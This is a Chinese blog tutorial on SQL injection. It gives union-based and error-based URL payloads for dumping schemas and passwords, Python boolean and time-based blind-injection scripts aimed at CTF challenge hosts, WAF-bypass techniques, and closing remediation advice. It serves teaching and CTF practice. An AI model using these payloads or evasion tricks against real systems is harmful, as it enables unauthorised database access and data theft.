OWASP Top-10 SQL injection

admin 2025年5月26日19:49:48评论9 views字数 7323阅读24分24秒阅读模式
OWASP Top-10 SQL injection

OWASP Top-10 SQL injection

    OWASP Top-10系列,此次介绍的是SQL injection 。

上菜!!!

OWASP Top-10 SQL injection

1

SQL injection是什么?

2

注入方法和绕waf

3

漏洞修复方法

#1 SQL injection是什么?

SQL injection是一种利用应用程序对用户输入验证不足或存在漏洞,攻击者通过精心构造包含恶意 SQL 命令的输入,使得应用程序在执行数据库查询时,将这些恶意命令与正常的 SQL 语句一起执行,从而达到绕过身份验证、获取敏感数据、修改或删除数据库内容等目的的攻击方式

#2 注入方法和绕waf

这里只说明常用注入类型,理论有很多种类型。

    SQL注入类型:联合注入、报错注入、基于布尔的盲注、基于时间的盲注。

    各种注入之前,需要判断是数字型注入还是字符型注入,相信你们常用的是下面这种方法:

(通过改变1=1和1=2观察页面是否变化来判断是数字型还是字符型,有变化则是数字型)

URL/?id=1and1=1

    还有一种判断方法:

(通过改变1^1结果为0和1^0结果为1,观察页面是否变化来判断是数字型还是字符型,有变化则是数字型)

URL/?id=1^1

    SQL injection常用注释符:

        #(有时可能需要url编码%23)

        --

        --+

(接下来以字符型为例,实际情况多)

    联合注入过程:

    1.先判断列数

(如果列数与后端被查询表列数不同,前端页面会不显示内容)(这里以2列为例)

URL/?id=1' order by 2--+

    2.获取数据库名

URL/?id=1'union select 1,database()--+

    3.获取表名

(0x7e是波浪号~,还有0x5c是反斜杠。用group_concat()的好处是可以显示所有被查询内容,不需要一个一个limit了,功能类似于concat(),用来连接字符,比concat好用

URL/?id=1'union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()--+

    4.获取列值

(这里提一嘴,如果相同表名出现在多个数据库,后面的where条件语句还需要加上table_schema='数据库名')

URL/?id=1'union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_name='表名'--+

    5.获取列值

(如果相同表名出现在多个数据库,需要加上where table_schema='数据库名'或者from后面接 数据库名.表名 的形式。查多个列值,以,分隔)

URL/?id=1'union select 1,group_concat(0x7e,列名) from 表名--+

报错注入常用函数:

        updatexml(1,xxx,3)

        extractvalue(1,xxx)

        GTID_SUBSET(set1,set2)

        ......(还有很多,比较常用的是上面三种)

    报错注入过程(以updatexml为例):

    1.获取数据库名

URL/?id=1'or updatexml(1,group_concat(0x7e,database()),3)--+

2.获取表名

URL/?id=1'or updatexml(1,group_concat(0x7e,(select table_name from information_schema.tables where table_schema=database())),3)--+

    3.获取列名

URL/?id=1'or updatexml(1,group_concat(0x7e,(select column_name from information_schema.columns where table_name='表名')),3)--+

    4.获取列值(查多个列值,以,分隔)

URL/?id=1'or updatexml(1,group_concat(0x7e,(select 列名 from 表名)),3)--+

基于布尔的盲注

(需要写脚本爆破,这里我给出我的脚本,以下是GET型)

import requestsimport time# URL注意改为httpURL = "http://3b9c0623-c8e0-4bf6-a47e-38ce152da759.node5.buuoj.cn:81/search.php"flag = ''# 二分法爆破for i in range(1, 100):    low = 32    high = 127    while low < high:        mid = (low + high) // 2        # 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload        # 获取数据库名称        payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"        # 获取表名        # payload = f"?id=1'^(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})^1"        # 获取列名        # payload = f"?id=1'^(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{i},1))>{mid})^1"        # 获取列值        # payload = f"?id=1'^(ord(substr((select group_concat(password) from 表名),{i},1))>{mid})^1"        # 延缓注入速度,防止盲注出来的数据错误        time.sleep(0.1)        response = requests.get(url=URL + payload)        # # 根据盲注为真时页面出现的特征内容进行修改        if'Click' in response.text:            low = mid + 1        else:            high = mid    if low != 32:        flag += chr(low)    else:        break    print(flag)

    (POST型如下)

import requestsimport time# URL注意改为httpURL = "http://3b9c0623-c8e0-4bf6-a47e-38ce152da759.node5.buuoj.cn:81/search.php"flag = ''# 二分法爆破for i in range(1, 100):    low = 32    high = 127    while low < high:        mid = (low + high) // 2        # 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload        # 获取数据库名称        payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"        # 获取表名        # payload = f"?id=1'^(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})^1"        # 获取列名        # payload = f"?id=1'^(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{i},1))>{mid})^1"        # 获取列值        # payload = f"?id=1'^(ord(substr((select group_concat(password) from 表名),{i},1))>{mid})^1"        # 请求体参数设置        data = {            "name": payload,            "pass"'123'        }        # 延缓注入速度,防止盲注出来的数据是错误的        time.sleep(0.1)        response = requests.post(url=URL, data=data)        # 根据盲注为真时页面出现的特征内容进行修改        if'u6216' in response.text:            low = mid + 1        else:            high = mid    if low != 32:        flag += chr(low)    else:        break    print(flag)

基于时间的盲注

(需要写脚本爆破,这里我给出我的脚本,以下是GET型)

import requestsimport time# URL注意改为httpURL = "http://88610d30-a03a-4a5d-8609-f105b3eef7db.node5.buuoj.cn:81/"flag = ''for i in range(1, 100):    low = 32    high = 127    while low < high:        mid = (low+high)//2        # 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload        # 获取数据库名称        payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"        # 获取表名        # payload = f"?id=1'^(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})^1"        # 获取列名        # payload = f"?id=1'^(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{i},1))>{mid})^1"        # 获取列值        # payload = f"?id=1'^(ord(substr((select group_concat(password) from 表名),{i},1))>{mid})^1"        # 记录开始时间        start_time = time.time()        # 根据需要查询的内容改变get中的参数        response = requests.get(url=URL+payload)        # 记录结束时间        end_time = time.time()        # 计算页面响应时间        spend_time = end_time - start_time        # 判断pyload结果,网速够快可以设置为1s,甚至0.5s,完全和布尔盲注一样.通常建议至少2s.        if spend_time > 2:            low = mid + 1        else:            high = mid    if low != 32:        flag += chr(low)    else:        break    print(flag)

(POST型如下)

import requestsimport time# URL注意改为httpurl = 'http://510db9ac-263b-4de4-9868-97366281e06d.challenge.ctf.show/api/'flag = ''for i in range(1, 100):    low = 32    high = 127    while low < high:        mid = (low + high) // 2        # 前面这个1'为假的话,式子是1'^paylaod;1'为真的话,式子是1'^payload^1.看情况修改payload        # 获取数据库名称        payload = f"?id=1'^(ord(substr(database(),{i},1))>{mid})^1"        # 获取表名        # payload = f"?id=1'^(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})^1"        # 获取列名        # payload = f"?id=1'^(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='表名'),{i},1))>{mid})^1"        # 获取列值        # payload = f"?id=1'^(ord(substr((select group_concat(password) from 表名),{i},1))>{mid})^1"        # 请求体参数设置        data = {            "username": payload,            "password""123"        }        # 记录开始时间        start_time = time.time()        # 根据需要查询的内容改变get中的参数        response = requests.post(url=url, data=data)        # 记录结束时间        end_time = time.time()        # 计算页面响应时间        spend_time = end_time - start_time        # 判断pyload结果        if spend_time > 2:            low = mid + 1        else:            high = mid    if low != 32:        flag += chr(low)    else:        break    print(flag)

    绕WAF方法

# 过滤空格  1.注释符:/**/  2.特殊字符(比较实用):    %0a(换行符)    %0b(垂直制表符)    %0c(换页符)    %0d(回车符)    %a0(非间断空格)    %09(水平制表符)    %20(空格)(这个着重拿出来批评一下,很没用,几乎就没有成功过,为什么?你仔细想想,浏览器会不会对你传入的%20进行解码,    那么这时候就有大聪明说了,再编码一次,你再仔细想想,服务器一定会帮你解码URL编码数据吗?双URL编码得看情况。。。。)    %00(空字符) (当单引号被过滤时,可以用这个来闭合多余的单引号)  3.括号绕过:()    括号用来包裹子查询语句# 过滤引号无法包裹表名时  16进制绕过# 过滤关键字  1.大小写绕过  2.双写绕过(非常鸡肋,实际情况用的少.CTF常考.因为现在过滤不是简单的删除关键字了)  3.注释符绕过:u/**/nion/**/s/**/elect/**/  4.内联注释符:/*!Union*/Select(只可绕过滤组合关键字才有用,比如union select,或者order by.无法绕过过滤单个关键字.常用+连接绕过)  5.等价替换    过滤or:|| (这里会有人说,and呢?说实话,&&这个根本替换不了and,为什么?因为无论你用什么发包,&&会被浏览器、bp、hackbar当作连接参数的字符,而不会当作and)    过滤order: group    过滤=:like    过滤information:1.sys.schema_table_statistics_with_buffer                     2.sys.x$schema_table_statistics_with_buffer                     3.sys.schema_auto_increment_columns(需要表有自增主键)(root)# 脏数据绕过  就是在注入语句前面添加很多无用数据(真的是很多数据哈哈哈),超出waf检测数据流的能力,以此来绕过waf检测后面的恶意sql注入(比较实用)# 分块传输  就是注入语句换行,只适用于POST(我没怎么用过,网上都说没用,是个老技术)......(还有很多,这里只说了一些)

#3 漏洞修复方法

    1.采用白名单验证与正则表达式,限定输入字符范围和格式,确保输入符合预定规则。

    2.运用预编译语句(不适用于动态修改表名、列名或查询逻辑的情况)

    3.通过代码正则匹配来过滤关键字。

    4.封装 SQL 逻辑于存储过程,存储过程在数据库中预编译,可以避免直接执行用户输入的SQL语句。

    5.对输出数据编码,防止恶意代码通过输出执行,避免与 XSS 攻击结合。

    6.最小化数据库权限。

    7.防火墙和 WAF:部署防火墙和 WAF,通过配置规则监控和过滤网络流量,拦截恶意请求。

原文始发于微信公众号(白小客):OWASP Top-10 SQL injection

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日19:49:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OWASP Top-10 SQL injectionhttps://cn-sec.com/archives/4005048.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息